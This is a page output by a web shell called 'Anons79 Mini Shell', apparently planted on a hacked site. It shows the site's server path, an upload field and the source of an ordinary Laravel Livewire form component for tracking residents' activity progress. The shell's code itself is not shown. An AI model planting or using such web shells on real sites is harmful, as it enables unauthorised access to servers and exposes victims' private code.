Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/warga-saya.aplikasipos.info/app/Livewire/
Upload File :
Current File : /home/aplikasiposinfo/www/warga-saya.aplikasipos.info/app/Livewire/FormKegiatan.php

<?php

namespace App\Livewire;

use Livewire\Component;
use App\Models\Activity;
use App\Models\Category;
use App\Models\Civilian;
use App\Models\CivilianPivotActivity;

class FormKegiatan extends Component
{

    public $selectedCategory = null;
    public $selectedCivilian = null;
    public $progressInputs = [];

    public $civilians = [];
    public $activities = null;

    public function mount()
    {
        $this->activities = collect();
        $this->civilians = collect();
    }

    public function updatedSelectedCategory($category_id)
    {
        $this->reset(['selectedCivilian', 'activities', 'progressInputs']);
        
        if ($category_id) {
            $this->civilians = Civilian::whereHas('categories', function($query) use ($category_id) {
                $query->where('category_id', $category_id);
            })->get();
        } else {
            $this->civilians = collect();
        }
    }

    public function updatedSelectedCivilian($civilian_id)
    {
        $this->reset(['activities', 'progressInputs']);
        
        if ($this->selectedCategory && $civilian_id) {
            $this->activities = Activity::where('category_id', $this->selectedCategory)
                ->get()
                ->map(function($activity) use ($civilian_id) {
                    $progress = CivilianPivotActivity::where([
                        'civilian_id' => $civilian_id,
                        'activity_id' => $activity->id
                    ])->first();
                    
                    $this->progressInputs[$activity->id] = $progress ? $progress->progress : 0;
                    
                    return [
                        'id' => $activity->id,
                        'name' => $activity->name,
                        'target' => $activity->target
                    ];
                });
        }
    }

    public function saveAllProgress()
    {
        $this->validate([
            'progressInputs.*' => 'required|numeric|min:0'
        ]);

        foreach ($this->progressInputs as $activityId => $progress) {
            CivilianPivotActivity::updateOrCreate(
                [
                    'civilian_id' => $this->selectedCivilian,
                    'activity_id' => $activityId
                ],
                [
                    'progress' => $progress
                ]
            );
        }

        session()->flash('success', 'Progress kegiatan berhasil disimpan.');
        $this->resetExcept(['selectedCategory']); // reset semua kecuali kategori
    }

    public function render()
    {
        $categories = Category::all();
        return view('livewire.form-kegiatan', [
            'categories' => $categories,
            // 'allCivilians' => $this->allCivilians,
        ]);
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]